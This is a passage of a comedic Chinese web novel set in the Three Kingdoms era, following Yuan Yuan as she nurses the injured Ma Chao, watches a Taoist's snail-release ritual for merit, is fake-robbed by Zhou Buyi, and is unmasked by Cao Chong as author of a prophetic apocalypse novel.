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盎然的暖风拂过,夹带着阳光下斑驳的光影,大自然生机勃勃的气息、清脆悦耳的鸟叫猝不及防地闯入死灰般沉郁的木屋。
过分灿烂的阳光令马超眯起了眼。
“关上!”他语气不善。
“屋子里又阴暗又沉闷,气味难闻,得透透气。”袁媛笑嘻嘻地说。
马超的态度不重要。
因为不能起身,他养伤的日子是很无聊的。三国没有电视,没有广播,荒郊野岭的也找不到书来给他打发时间,每天被迫闷在十几平米的小房子里,心理极易扭曲。
袁媛不仅没关上窗,还走到马超身边,强行把他的头扭转到面向窗户的方向,手动让他的视线越过幔帐,落在盎然有趣的春色上。
一缕活泼的阳光趁机蹦进木屋,散开金色的舞裙在地上嬉戏跳跃,生机勃勃,可爱灿烂。
马超心中隐约感受到了轻微的触动。
袁媛也被眼前的美好触动到沉寂已久的良心,突然福临心智,脱口而出:“要不我带你出去散散心吧?”
33. 水桶
袁媛挺忙的。
难得遇到一个晴天,给马超上完教育课之后,她就去把积了好几天的脏衣服和被褥全都洗晒了。等她回来的时候,马超已经剥完了毕豆,一个人呆坐在轮椅上散冷气,一副生人勿近的模样。
袁媛自认为不属于生人范畴,高高兴兴地收了笸箩,换了根擀面杖塞进他怀里。
“有完没完?”马超咬牙,“你别得寸进尺!”
“我是为你好!”袁媛眨眨眼,无辜地说,“蜀郡遥远,你弟弟哪怕快马加鞭,也需在路上耗费许多时日。李意的远水暂时救不了近火,但你的伤势火烧眉毛,无人来救,不如先试着自救。郑郎中说过,你的症结全在腰上,受伤后血脉不畅,导致无法坐立。反正你平日闲着无事,干脆拿着擀面杖疏通经络,放松肌肉,说不定气血通和,就能站起来了呢?”
按摩疗法在现代应用非常广泛,医院和药店都有专用的□□出售。在买不到专用工具的情况下,只能拿与□□形状相似的擀面棒勉强替代。
马超将信将疑。
中医按摩历史悠久。哪怕是缺乏现代医学常识的古人,说不清按摩能刺激血液流动、加速炎症消退的医学原理,多少也听说过按摩能畅通气血的功效。
马超不太看得上这根脏兮兮、表面还黏着面粉残余的擀面杖。
但他毕竟是马超,前期的颓废不过是骤然听闻噩耗后的应激反应。历史上,他的命运几经沉浮,无论是拒绝曹操征召坚守自己的政治抱负,还是历经失败后在刘备阵营中建立功勋,都说明他并不是个会长期陷入自暴自弃情绪的人。他骁勇果敢,坚韧不拔,一生充满了拼搏与奋斗,善于依靠毅力和决心在逆境中成长,并不会真的被一个江湖郎中的误诊击垮。
短暂的迷惘过后,马超不会放过任何一个站起来的机会。
憋住脾气,他把背部微微后仰,以一种缓慢而笨拙的节奏在受伤的腰部按压推拉了起来。
只要马超不作妖,英灵渡里就是岁月静好。
自从马超开始参与家务劳动,喂他吃饭就简单多
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了。因为饭碗里都是他亲手剥的豆子、择的瓜果、理的野菜,还没等袁媛开口他就已经主动清盘,再也不需要袁媛动手强灌了。
袁媛倍感欣慰。
干完活以后,马超会坐在院子里边晒太阳边摆弄□□,动作缓慢,神情安详。如果不看他的面容,会以为他是个七老八十的老爷爷,半眯着双眼,沐浴着斑驳陆离的光影,似乎在回忆往昔,也可能什么都没想,岁月悠长,淡定从容,仿佛能与风对话。
太阳晒黑了他的皮肤。如今坐在袁媛面前的这个青年人,已经很难与《三国演义》中“面如傅粉,唇若抹朱,腰细膀宽,声雄力猛”的俊美将军联系在一起。
史书上,年轻时的马超是浮躁冲动的。他不顾父兄性命、起兵反曹的决策相当轻率,面对关中诸侯盟友的猜忌,他甚至还曾对韩遂说出“马超弃父,以韩将军为父。韩将军亦当弃子,以马超为子”这样极端的言论。但在远离尘嚣的英灵渡,有什么东西在悄悄沉淀,又有更多说不清道不明的东西在缓慢滋生。
34. 李意
等到月季层层叠叠的花瓣随着夏日的微风带来沁凉与愉悦,马岱去而复返,用一匹骏马把李意请到了英灵渡。
马超半靠在床头,待弟弟把门关紧了才开始细问:“怎的迟了些时日?途中可是遭遇了变故?”
“无甚要紧,都已应付过去,阿兄不必担心。”马岱并不打算详细解释,避重就轻地借着关心哥哥的身体转移话题,“阿兄最近可好些了,郑怡小兄弟伺候得可还精心?”
马超皱着眉头评价:“乡野村夫不通礼数,行事粗俗言谈直莽,两个月了洗漱还伺候得磕磕绊绊,给我擦个身,磨蹭半天都不能把活做干净,远不如府中精心调/教的仆役得用。但念在他满腔真挚,也不算一无是处。他日你我离开时赏他些银钱,对得起他这段时间的忙碌便罢。倒是你——”
马超斜睨弟弟,并没被他糊弄过去,重新把话题拉了回来:“你在路上可是遇到了什么事?别是以为阿兄残了,不中用了,便可随意打发糊弄我了吧?”
“阿兄哪里的话!”马岱心头一苦,连忙解释,“我不过是被曹贼的小股残兵绊住了几日。听那些兵士喊领头的少年七公子,看模样才十三四岁,武艺了得,招式路数有点许诸的影子,可许诸用的是刀,他用的是剑,不知是否是许家子弟。”
“听闻七公子七八日前便逗留貘县,但应该另有他事,手下的兵士功夫一般,并不是专程来堵截我们的。保险起见,最近我们少往县里去惹他的眼便罢。英灵渡僻静,寻常不会有外人来。若有必须外出之事,可托郑怡小兄弟跑腿。想来等那位七公子要办的事了了,也不会在这穷乡僻壤久留。”
马超皱眉:“曹家也有行七的公子,莫不是曹冲?”
“若是曹冲,更不足惧。”当下曹家入了行伍的子弟只有次子曹丕、三子曹彰、四子曹植,马岱并未把乳臭未干的曹冲放在眼里,“曹冲虽有儿时称象的轶事,深得曹贼宠爱,
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可他与一母同胞的曹丕、曹彰、曹植隔着肚皮,至今未能出仕,手中无兵无权,黄口小儿而已,若来貘县,办的必是私事,与我们不相干。”
“也是。”马超点头。曹操曾评价马超“马儿不死,吾无葬地也。”,对他忌惮非常。如果曹操察觉了马超的踪迹,绝对不可能只派个少不更事的小子来堵截他。
马超放下心来。
马岱连忙溜出房间,请李意来给马超看诊。
李意一副仙风道骨的模样,满头银丝用一根质朴的玉簪挽起,下巴上留着儒雅的山羊胡,手腕处盘着草籽串成的药珠,庄重飘逸的素色长袍很能彰显段位。
他脱掉马超的衣裤看了看,对马岱道:“令兄性命无忧。”
马岱握紧刀柄:“道长治不好?”
“非也,非也。”李意闭目凝神,不慌不忙,“生死有命,病痛亦然,然上天有好生之德——老夫的意思是,先吃几剂药试试吧。”
35. 螺蛳
功夫不负有心人。
第七天的时候,天意终于改变了主意,给了李意一个正向的反馈。
李意得偿所愿,心满意足地跑来与袁媛分享这个好消息。
袁媛提醒他:“你不该第一时间告诉将军吗?”毕竟关系的是马超后半生的幸福,马超才是切身利益相关者。
“将军并不信道。”李意捋着胡子,不疾不徐地说,“况且,天意虽然同意网开一面,答应让将军重新站起来,却也不是毫无条件。”
袁媛好奇:“什么条件?”
“积攒够足够多的功德。”李意平静的声音如同来自远方的呼唤,带着股无法用言语形容的超脱与悠远,犹如讲述亘古不变的真理。
这不正是真理吗?
善有善报恶有恶报,完美契合三国主流价值观,放之四海皆准。
问题是,怎样才能积攒功能呢?”
“自然是要积德行善。”李意面容慈祥。
“我懂了。”袁媛福灵心至,突然理解了李意跑来找她的意思。“英灵渡荒无人烟,将军要行善,对象只能是你、我和他弟弟。他弟弟与他有血脉之亲,属内人不属外人,所以不算。你超脱凡世,不在五行之内,所以也不算。剩下的就只有我了,我是他唯一的选择!”
袁媛的脸颊因为兴奋染上了淡淡红晕,语速随着高涨的情绪不自觉加快,明明坐在田埂边肮脏的石头上,却仿佛被一股无形的外来之力向上托起,整个人都散发出由衷的快乐。
“想要帮助我很容易!”她的笑容灿烂至极,非常具有感染力,相比之下,连她周围盛开的鲜花都黯然失色了,“给我钱就行!金元宝银元宝不嫌多,五铢钱大泉钱不嫌少。我没什么大追求,只要给我钱,我就能快乐,他的功德就会跟着蹭蹭蹭往上涨!”
“你不必妄自菲薄。”李意眼神一闪,仿佛能够洞察袁媛的内心,“你并非贪财之人。”
“我怎么就不贪财了?”袁
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媛纳闷。
“你爱财却不贪财,或者,更准确地说,钱财于你并无多大用处。”李意嘴角上扬,微笑淡到极致,如同不经意间落在肩头的花瓣,不起眼却实实在在的存在,“功德有大有小。布施虽能解燃眉之急、扶人于疾困,却属小德;拯救性命方为大德。将军杀孽深重,原本应在病榻上了此残生,如今想逆天改命,非滔天功德不能为。”
袁媛撇嘴:“他被困在小小的英灵渡动弹不得,哪里有人命来给他救?”
“不必非得救人。”李意不疾不徐,仿佛生死在他眼中只是过眼云烟,不足挂齿的小事,“‘以道观之,物无贵贱’,故而众生平等。人命是命,花鸟鱼虫之命亦是命,人命并不比畜生之命贵重。我已问过天意,若想让将军重新站立,至少需放生万条性命的功德。万条人命不可及,万颗螺蛳却易得。”
袁媛狐疑。
这还能明码标价的?
你家天意是不是太市侩了点?
36. 棍法
锦囊虽然不能立刻就拆,但答应李意的螺蛳宜早不宜晚。
毕竟,只有医好了马超的病,才能尽早把他这尊杀神送走。
当然了,袁媛也很想借机见识李意的放生道法。
于是第二天一大早,她就非常积极地买来万颗螺蛳,请小贩帮忙送到英灵渡口。
“小郎君,莫急着走!”李意穿着那身自被挟持来时便一直没换过的素色长袍,叫住送货的小贩,施施然道,“送佛送到西,还请小郎君费心,帮我们老小把这些螺蛳放归河海。”
袁媛望天。
一个道士张口就说送佛送到西,这绝对是翻译器的锅。
可惜只有袁媛能听到翻译器的声音,传到小贩耳中的是李意的原话,也就只有袁媛一个人能体会其中的哗点。
“怪不得你们买那么多螺蛳,原来是为了放生。”小贩以杀鱼卖螺为业,不理解李意的逆向操作。但看在四锭足银的份上,即使不理解也必须尊重。一句“闲得蛋疼”悬在喉头,他扛起竹篾编的篓子,掀开盖子利落地把肩膀一歪,篓里的螺蛳就噼里啪啦地砸进了河水里。
“天地有道,万物归流,功德汇聚。”李意飞快念了一句咒,右手遥指马超所在的方位,素袍下摆在空中画了几个看不明白的字符,静看着螺蛳落下后搅起的浑水。
螺蛳壳撞在河壁上,发出细碎的声响。迎着晨光的方向,能看到一个个劫后余生的小东西一触到底部的淤泥便争相恐后地钻了进去,不见了踪影。
一篓倒完,小贩走远几步,拎起下一个篓向着河水倾泻。
最后几颗螺蛳落进淤泥里,袁媛望着水面上层层漾开的涟漪,不太满意:“这便齐活了?”
还以为会看到一场庄重繁琐的仪式,未曾想没有焚香,不见经幡,河滩边空荡荡的,连声鸟叫都没听到。
李意未免太过敷衍。
“大道至简。”他还是一副高深莫测的模样,弯腰掸了掸衣摆上莫须有的灰尘,还没离开河岸,就听到水中噼啪窸窣的声响。
那是鱼尾摆动搅起了水花。
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“看!”小贩指了指银鳞翻浪处的冷光,“鱼群被螺蛳的腥气引来了。”
袁媛听明白了他没说出口的话。
放生有什么用?
上万颗螺蛳,不过是肥了大鱼的肚子罢了。
“人各有命,螺蛳亦然。”李意眼皮子都没眨一下,依然仙风道骨,“此间礼毕,小郎君,就此别过吧!”
他走得毫不留念,袁媛跟在他身后,却是一步三回头。
直到走得快看不清河岸了,回身一望,小贩仍旧立在原地。
袁媛敢拿脑袋担保,等他们离开了,小贩就会卷起裤腿下河,给那些刚刚大快朵颐了的肥鱼来一场“螳螂捕蝉,黄雀在后。”
说不定,他晚上数着卖了鲜鱼换来的银钱,还会忍不住嘲笑李意和袁媛的愚蠢。
但这又有什么关系呢?
李意看出袁媛心中所想,悠然道:“螺蛳有螺蛳的命,大鱼自然也有大鱼的命。这小郎君恰逢其会,能借此发笔横财,也是他的运势。”
37. 燕雀
世上无难事,只要肯放弃。
在连续失败了十次之后,袁媛放弃了靠棍法自卫的想法。
没办法,在马超手里言听计从的擀面杖一被她握住,就仿佛突然染上了失心疯,袁媛让它往东,它偏要往西,永远倔强地与她较劲。
强扭的瓜不甜!
袁媛对习武没有执念。异能时代即将到来,再厉害的武功,在异能面前都是弟弟,实在不值得花大力气去学。
她之所以心血来潮想学棍法,本来也只是以为能以极小的代价捡个漏,试过之后发现没便宜可占,继续练习马上就要亏本,于是果断放弃。
马超就没见过这么不成器的废物!
在马超的概念里,学不会就应该加倍苦练,巍峨丈夫,百折不挠,遇到困难更该勇往直前,怎能因为一点绿豆大的挫折就打退堂鼓呢?
袁媛要是他麾下的兵,早就被他扔给军正,往死里操练教训了,哪里还容得她像只癞皮狗似的躺在院子里晒太阳?
要不是因为腰疼行动不便,马超恨不得立马走过去踹他几脚。
他怎么能如此不求上进!
出身于关陇军事世家,马超之前的人生里,连养的畜生都是坐有坐相、站有站相的卷王,曾经有匹快马在未得到他指令的情况下,自作主张地在阵前撅了下蹄子,就被他一刀宰了。但是现在,他强忍着久病不愈的烦躁,眼睁睁看着袁媛歪歪斜斜地靠着墙根,手里把玩着不知从哪里摘来的树叶子,像是只被抽掉了骨头的软体虫似的,丑态百出。
马超实在不想管这懒货的闲事,但憋了几分钟,实在做不到对她不堪入目的懈态睁一只眼闭一只眼,怒意上涌,随手抓起桌上的毕豆荚朝着袁媛掷了过去。
“哎呦!”
毫无防备的袁媛冷不丁被击中脑袋,诧异回头,正对上马超怒火中烧的眼神。她不知道自己哪里惹到了这尊杀神,但对于危险的本能感知还是让她像只被踩到尾巴的猫一样,“嗷”的一声从地上弹了起来。
马超冷
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笑,看她着急忙慌地躲闪十分解气,又拣了几粒毕豆荚追着袁媛扔去。
“别,别打了!”袁媛裙子上还沾着树叶,拔腿就跑。一颗毕豆擦着她的发梢掠过,另两颗紧跟着就要敲上脑门,袁媛连忙就地一滚,翻到田埂里。
谢天谢地,马超是个只能在固定点位站桩的BOSS!
不然再借她两条腿,她也跑不过他。
毕豆荚硬硬的,打在头上可疼了!
捂着头跑出马超的射程之外,袁媛瞪大眼,控诉:“无缘无故的,为什么要打我?”
“昨日教你的棍法学会了吗?有空偷懒,没空练习?”马超只恨自己站不起来,用尽全力掷出的毕豆荚裹着劲风呼啸,虽然打不到袁媛,但落在地上发出噼里啪啦的乱响,听得袁媛心惊胆战。
“我真的学不会啊!”袁媛欲哭无泪。早知道马超如此好为人师,她就不该主动提学武去招惹他。
现在,她的肠子都悔青了:“我实在不是学武的料。”
38. 打劫
“各位好汉,饶命!”
为首的追兵魁梧壮硕,往前一站,便似铁塔般挡住了日光,将被他的身形锁在阴影里的袁媛衬托得格外渺小。
袁媛心知逃跑无望,双腿一软,索性瘫倒在地,滑跪得十分彻底:“小人……小人是个农户,家里穷得叮当响,身上真没带什么值钱的东西!求好汉们高抬贵手,饶我一条狗命!”
为表诚意,她一边哭穷,一边手忙脚乱地在身上摸索。好半天才从袖子里掏出一个脏兮兮的钱袋,颤抖着双手打开,将几枚泛着黯淡光泽的铜钱恭敬地举过头顶,“这些是小人见夏天来了,典当了冬衣冬被换的,虽然不多,但各位好汉别嫌弃,放我一条生路吧!”
“就只有这么几个铜板?”铁塔站着没吭声,卖貘少年脚步轻快地走上前来,修长的手指有一搭没一搭地顺着熊猫背抚摸,慢条斯理道,“我们这里有十来个人,一人一个铜板都不够分。”
那是你们人太多,怎么能怪我钱太少呢?
袁媛强忍住几乎要冲到喉咙口的骂骂咧咧。
这十来人穿着颜色样式不一的粗衣布衫,看似松散地围成一圈,但个个魁梧壮硕,别在腰间的武器更是暗藏锋芒。除了为首的少年,显而易见都是练家子,凶神恶煞般盯住袁媛,令人心惊胆战。
怪不得他们明明已经干上了打劫的暴利勾当,还得靠副业卖熊猫贴补开支呢。如此有战斗力的队伍,将一个手无缚鸡之力的落单男子视为目标,岂不是杀鸡用牛刀?去抢富得流油的商队才对得起他们的配置。放着一次开张能吃三年的好生意不做,专挑袁媛这种兜里穷得叮当响的蚊子肉开刀,妥妥的决策失误!
抱貘少年眉眼精致,哪怕不笑的时候唇角也仿佛噙着三分温柔,说话时脸颊上会抿出个酒窝,看起来好脾气得很。熊猫被他抱久了闹意见,猛蹬他胸口,他也不恼,任由小东西伸出肉呼呼的小胖爪拍他巴掌,还一脸享受的模样。
一副智商不高的模样。
有如此憨气的少年来做领头羊,想来其他人也聪明不到哪里去。
袁媛为打劫小队的未来担忧了一秒,就被劫匪手中明晃晃的刀剑照花了眼。
——管什么闲事,有空还是关心关心自己吧。
三国不是法治社会,如果惹得壮汉们不高兴,他们是真的一言不合就杀人。袁媛一来怕痛,二来闹市区人来人往,虽然眼下因有人当街抢劫,路人全都避之不及,但倘若袁媛果真一命呜呼后又死而复生,恐怕还没来得及接上被砍断的脖子,就要被当作妖魔鬼怪架到火上烤了。
画面太美简直不敢想。
袁媛额头上冷汗涔涔,双手抱拳,真心实意地求饶:“诸位好汉,小人家中有好赌的爹、重病的娘、痴傻的哥哥、年幼的弟妹,一分银钱恨不得掰成两半花,实在是没有更多钱了!”
“少装可怜了。”抱貘少年依然挂着温柔笑意,平和的声线却仿佛蕴含着无形的力量,令袁媛头皮发麻,“辛苦一趟就拿你这么几个钱的孝敬,不知道的还以为我们是要饭的花子呢。既然你不老实,那就只好由我们亲自动手了。兄弟们,上!”
“别别别!”男女有别,袁媛可不敢让这帮糙爷们搜身乱摸,慌忙又从贴身的暗袋里摸出几角碎银,哭丧着脸递过去,“这真是小人身上的全部家当了,求各位开恩!”
“是不是全部家当,得我们说了算。”抱貘少年接过银子掂了惦,怀里熊猫好奇地伸长脖子想去咬,被少年笑呵呵地单手托举着屁股挪开了,“你仔细想想,是不是真的只有这些了?不然等我们搜出来,别怪我把你剁了喂狗。”
“真,真没有了!”袁媛暗暗叫苦。之前没有把钱全拿出来,并不是她心疼几角碎银,而是怕交钱太利索了会让劫匪变本加厉地索要。没想到这些劫匪油盐不进,眼神在袁媛身上刮来蹭去,分析得特别有道理:“就你这细皮嫩肉的样子,平日里定是养尊处优的,指定身上还藏着不少值钱货。哪怕没有现银,不拘什么玛瑙、玉佩、珠串,有一样算一样,都老实交出来!”
“小人没有这些东西!”袁媛大声喊冤。
即使再努力装农户,她也不是真农户。
细皮嫩肉在劫匪的眼中等同于肥羊,但她本就是女扮男装,哪怕故意在脸上、胳膊处拍上泥巴,做出风尘仆仆的模样,也装不成糙汉。她纤细的脖颈、细腻的皮肤、没有老茧的双手,轻易就能把她出卖得彻底
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。
就连原本窝在少年怀里享受抚摸的熊猫都歪了歪脑袋,将爪子搭在少年的胳膊上挣扎着要往袁媛身上扑,好似发现了她的好欺负。
“连它都看出你不老实。”抱貘少年笑容明媚,说出的话语却令袁媛噤若寒蝉。
突然,远处传来一阵急促有力的马蹄。
抱貘少年眼眸中闪过一丝意外。他站直身,停止了对袁媛的威胁,脸上笑容未减,好整以暇地任由马蹄由远及近。
难不成来的是他的同伙?
袁媛心里凉了半截,睁大眼睛顺着少年的目光远眺。
背对着日光,看不清来人的脸。但一马当先的男子身姿挺拔,头盔上的红缨随风翻飞,英气勃勃。他的身后,三五个骑兵同样身形矫健,策马奔腾,紧紧跟随,扬起阵阵尘土。
不过须臾,来人就已近在眼前。
“七公子!”抱貘少年把熊猫的爪子挂在自己脖子上,环成一个圈,空出两只手来抱拳。
曹冲勒住缰绳,马蹄高高扬起,发出响亮的嘶鸣。
“你干了什么?很久未曾见到你如此恭顺,莫不是心虚?”曹冲翻身下马,大步走到少年身边瞥了他一眼,也不等他的回答,直接将视线投向袁媛:“你果真未死。”
“嗯,嗯。”由于太过意外,袁媛缓了半刻才回过神来,自然也就把所谓的尊卑和跪拜问安忘了个干净。
袁媛的目光狐疑地从抱貘少年转到曹冲,缓慢梳理出了事实。
第一,本该在去年就撒手人寰的曹冲不仅现在还活着,而且活得生龙活虎。
第二,可能,大概,刚才的打劫只是抱貘少年在逗她玩。
怎么有这么恶劣的人!
她刚刚是真真切切的被吓到了!
袁媛气鼓鼓地瞪他,曹冲何等聪明,刚注意到两人间的眉眼官司,就从少年手里的铜板和碎银将来龙去脉猜得七七八八。
“这是周不疑。”曹冲把马鞭扔给身后的张贵,顺手把周不疑的围脖扯了下来。
周不疑阻止不及,手指悬在空中,不放心道:“你小心点,别弄疼了它!”
袁媛只觉得心里有块名为历史的滤镜碎了。
39. 买官
翁主封号始于西汉,是皇帝对诸侯王之女的册封。如果是在官渡之战前,袁媛作为盘踞黄河下游四州之地的袁绍之女,还算有获封翁主的资格。但如今袁绍兵败身死,袁家倾倒,袁媛的身份也随之跌落尘埃,成了无人在意的无根浮萍。
无缘无故的,汉献帝刘协怎会册封她做翁主呢?
怕不是张贵寻她开心吧?
袁媛侧身避开张贵的大礼,看他到底在耍什么花招:“莫非你魔怔了,假传圣旨可是要杀头的!”
“哎呦我的翁主,就是再借奴才八个胆子,奴才也不敢拿这么大的事胡诌!”张贵拍着胸脯保证,口中已经用上了敬语,“今年元月,奴才可是亲眼见着宫里祖弼公公的轿子进了您在邺城中心的大宅,袁福在院里摆上了香案与三畜五牲,领着阿昌与百来位您家的旧部遗属,替您接了圣上御笔亲封的翁主之位!如假包换,真的不能再真了!”
听起来还挺像那么回事。
但刘协贵为天子,哪怕现在被曹操变相软禁,也不是随随便便就会注意到一个年少失怙的小虾米的。袁媛怀疑,刘协连袁绍有几个女儿都不知道,专程下旨赐她封号更是如同天方夜谭。
袁媛想不明白个中曲折,张贵用膝盖抵地,碎步前挪,笑纹堆叠在眼尾:“翁主可是好奇圣上为何降下恩典?您还不知道吧?七公子为了您这封号,又是上书又是求人,实实在在下了老大的功夫呢!”
是曹冲替她求来的封号?
袁媛眼波微转,远处曹冲逗腻了周不疑,终于大发慈悲地把熊猫还给了他。周不疑如获至宝地抱住,从腰间取下羊脂玉佩献宝似的悬在熊猫鼻尖三寸处,一晃一晃地安抚它刚刚受到的惊吓。
那玉佩通体透白,价值不菲,一下子便将袁媛的思绪瞬间拉回曹府的仓库。
她也有很多块这样的玉佩,满满一箱,用柔软昂贵的丝绢分隔放置,每一块都匠心独具,堪称精品。
袁媛灵光一现:“七公子尚未出仕,哪怕有心替我请封,总也得有个投名状。该不会,他未经我同意,擅自将我存放在他府里的家财进献给圣上了吧?”
“这……”张贵眼珠子一转,把头磕得更低,声调却如同唱喏般微微上扬,“翁主明鉴!那些财货是御赐之物,打着宫里的印记,不得私自变卖,否则便是大不敬。恰好去岁疫鬼横行,百姓受难,然而国库空虚,圣上有心赈灾却心有余而力不足。危急关头,七公子主动献上库中财货,既解了圣上的燃眉之急,又救万民于水火,同时还为翁主求得一个可安身立命的封号,可谓一箭三雕,绝妙至极!”
“妙在哪里?慷他人之慨吗?”袁媛被气笑了,“他拿着我的财物博取忠君爱国的好名声,却拿个中看不中用的翁主封号来糊弄我,难不成我还得感激他不成?”
汉朝末年官僚体系崩坏,政/治/腐/败猖獗。朝廷带头卖官鬻爵,将官职按照品级,以年俸为基准明码标价出售。不仅设立专门机构负责兜售官职,甚至推出了促销活动,购买某些高品阶官职附送爵位,滑天下之大稽。
按照如今的市价,买个郡守也不过两千万钱,走马上任后除却年俸两千石,还能搜刮民脂民膏弥补买官成本,经营有道者靠此发家致富的不在少数。
袁媛怒火中烧:“说,曹冲送走了多少箱财货?”
“不,不多!”张贵被袁媛身上磅礴的杀气摄住,不由缩了脖子,眼神躲闪,“只有,只有五十箱,不到所有御赐之物的一半。”
“这么多!”袁媛只觉面前一阵天旋地转,心痛得几乎无法呼吸。
总共一百二十箱御赐的玉器珠宝,件件都是巧夺天工的精品。哪怕不能换钱,只要想到它们安安稳稳地存放在仓库里,就会有一种富豪般的满足感。就像银行存折上的大额存款,虽然不会轻易动用,但只要看到上面的数字,就能体验到快乐与心安。
曹冲这个混蛋!
五十箱玉器珠宝买几十个郡守都绰绰有余。
汉朝的翁主不同于郡守,一没实权,二没俸禄,三没民脂民膏可刮,这生意做的,简直亏到了姥姥家!
冤有头,债有主,袁媛的眸光仿佛淬了毒的利刃,径直刺向曹冲:“不告而取视为偷,还我东西来!”
“我并未取你的东西,拿你东西的是坐在金銮殿上的那位。”曹冲英俊的脸上看不见半分被指责的慌张,愧疚更是毫无踪影,气定神闲地走到袁媛面前,声音不大但听着就很欠揍。
“袁绍得势时,素以宽和得民心,路遇饥寒之人即有救济,至今仍有冀州百姓感念其仁义。去岁疫病肆虐,恰逢你跳湖失踪,生死未卜。我不知该去哪里寻你,但想着有其父必有其女,袁公仁义,你当时若在城中,必然也不忍见百姓凄苦挣扎,一定会毫不犹豫地慷慨相助,故而越俎代庖,替你做了主。没成想,竟然是我想岔了。”
袁媛眯眼,简直要为曹冲的狡辩功力点赞。
“原来翁主并不愿赈灾?我还以为恻隐之心人皆有之呢!”周不疑讶异地问,手指轻挠熊猫的下巴,嘴角因为熊猫喉咙里轻微的“咕噜咕噜”声上扬,唯恐天下不乱道,“圣上仁德,倘若知晓个中误会,断然做不出强抢民财之事。翁主一介孤女,传出去……难免颜面上不好看。因此翁主放心,只要你上书言明原委,圣上定然会将财货如数归还,绝不会让你受委屈。”
“这么馊的主意都想得出来,你可真不愧是个天才!”袁媛气极反笑,眸光如冰,直甩周不疑面门,“恻隐之心人皆有之,
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可惜我冷血无情不配做人,周公子却是宅心仁厚,堪为高义典范。听闻周氏乃零陵重安望族,周公子更是荆州牧别驾刘先的外甥,名下有百亩良田,家资丰厚。不若本翁主上书朝廷,向圣上详述周公子忧国忧民之心,想来圣上一定能满足周公子救济苍生的心愿,尽数收下你所有家财的。”
“妙哉,妙——阿嚏!”熊猫毛茸茸的屁股扫过周不疑的脸颊,痒得他忍不住打了个喷嚏,摸着鼻子看向曹冲,“思维敏捷,伶牙俐齿,我现在相信她是《浩劫启示录》的作者了。不枉你千里迢迢从邺城跑来寻她。”
什么?
袁媛愣神。
她怎么就是《浩劫启示录》的作者了?这帽子可不能瞎戴。
袁媛拒绝承认周不疑的信口胡说,装傻道:“《浩劫启示录》是什么,跟我有关系吗?”
“我也希望它跟你没关系。毕竟我跟七公子打了赌,如果《浩劫启示录》真是你写的,我就要随他去零陵。”周不疑抚摸熊猫的修长手掌悬在半空,喉结微动,略有失落地说,“你如何证明《浩劫启示录》与你无关?”
“我都不知道《浩劫启示录》是什么。”袁媛睁大无辜的眼睛,暗暗磨牙,“再说,你没听说过‘谁主张,谁举证’吗?既然你们认为《浩劫启示录》是我写的,你们就应该拿出有说服力的证据,而不是要求我来自证。如果无法自证即有罪,那我现在就举报你偷窃了我三百万两白银。若你不能证明你没偷,就将银子都还给我吧!”
“这我可无法自证。”周不疑颠着熊猫屁股,笑得风清气正,“但七公子一口咬定《浩劫启示录》是你的大作,我想他一定发现了一些蛛丝马迹。”
曹冲挑眉,没有否认好友的戏谑:“《浩劫启示录》天马行空,细节上有许多前后矛盾之处,例如第三回中介绍孙二不喜甜食,第一百一十回中却写孙二在宴席中专挑甜得发腻的豆酥糕来吃。会出现如此明显的疏漏,说明作者并非心思缜密之人。但在书中世界的运行规律方面,《浩劫启示录》又显得格外严丝合缝,完全可以自圆其说。它读起来不像是一个故事,更像是一段史实。”
“这么说,还真是。”周不疑仔细回忆书中情节,认同地点头,“感染了僵尸瘟后,有人会变成僵尸失去理智,有人却能觉醒异能所向披靡。就连僵尸都有可能拥有异能,与活人觉醒的异能却又有所不同。书中罗列出的异能不计其数,每一种都有独特的使用方法,作者全都设计得合情合理。特别是描写异能者对战时,将不同异能的优缺点展露得淋漓尽致。譬如,‘夜香操控’看起来鸡肋,却可以用屎味标记潜行者,对具有隐身能力的异能者是克星。难以想象有人能凭空捏造出一个如此庞大的异能体系,还完全没有逻辑矛盾。”
40. 预言
其实,袁媛已经很小心了。
《浩劫启示录》现在还只是一本普普通通的小说,但等到末世来临,必然会被捧上神坛。届时,一定会有无数人心心念念想把作者找出来,希望能从她身上榨问出更多关于末世的信息。
袁媛未雨绸缪,在寻找书铺时,特意避开了有影响力的大门面,选了一个看起来平平无奇的小作坊,上门前特意乔装打扮了一番,不仅换了性别,还在衣裤里多塞了许多布料,伪装成一个胖子。
可惜时下男子并不化妆,哪怕她能将肤色涂黑,五官也无法改变。
谁能想到,书铺里老实巴交的匠人竟然会是个隐藏的工笔画大师呢!
那匠人已经熬到了一只脚踩进坟墓的年纪,眼底都是浑浊的,竟然能火眼金睛地看穿她的伪装,用一把裂了头的刻刀在竹简上将她刻画得入木三分。
他不但帮她恢复了苗条的身材,还替她穿回了女装,就连环佩珠钗都帮她佩戴得整整齐齐。
曹冲从怀里取出竹简,好让袁媛死心:“你恐怕不清楚,书铺印制书籍时,除刻印文字外,还得配上与文字相对应的插图。老匠人从六岁开始写字学画,最善画各色美人图。只因画了美人的书,总是卖得特别好些。”
铁证如山。
袁媛傻眼,简直后悔得想要吐血。
她这个不知天高地厚的愣头青,竟然一头扎进了大师的老巢。
曹冲继续补刀:“为避免暴露身份,你特意在从邺城前往貘县的途中,精心挑选了一个名不见经传的小城落脚,待城中书铺将《浩劫启示录》印制出来,再通过“信客”捎送到各地。无论是书铺工匠还是驿站管事,都说自那以后,再也没见过你。想来你目的达成便火速离开了,以为自此海阔天空,无人能将《浩劫启示录》追溯到你头上。”
“哪里哪里。”袁媛无可辩解,已经放弃抵抗,“你不就还是查到了我吗?”
“那是因为我一看到《浩劫启示录》,便笃定你就是作者。盯着与你有关系的人,很快就发现福伯、阿昌、蔡文姬都收到了书。循着送书的‘
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信客’顺藤摸瓜,很容易就能锁定源头。这些‘信客’业务繁忙,常年在全国各地行走,送书也不会留下名姓,完成任务后就犹如水滴汇入大海。若不能在初始时便截住他们,之后再想寻找就如同大海捞针,难上加难。”
曹冲语气平静,令人猜不透他的真实想法:“但我有一事不明。”
袁媛深吸一口气。
她很不想当曹冲的捧哏,但几年相处,让她对曹冲的性情了如指掌。
倘若此刻不满足曹冲的好奇心,接下来他必然会想出更恶劣的法子来折腾她。
袁媛歇了膈应曹冲的心思,强打起精神配合:“你有什么事不明?”
“你选择的收书人。”曹冲抛出袁媛意料之外的话题,尾音带起即将拆开礼物包装纸时的兴奋雀跃,“你一共选择了二十四位‘信客’,我阿父通过荀彧收到了书,孙权是通过周瑜,另外还有刘璋、张鲁、士燮等,麾下都有谋士收到了《浩劫启示录》。所有的势力中,你独独漏下了刘琦。我很好奇,这是为什么?”
41. 锦囊
乌云密布。
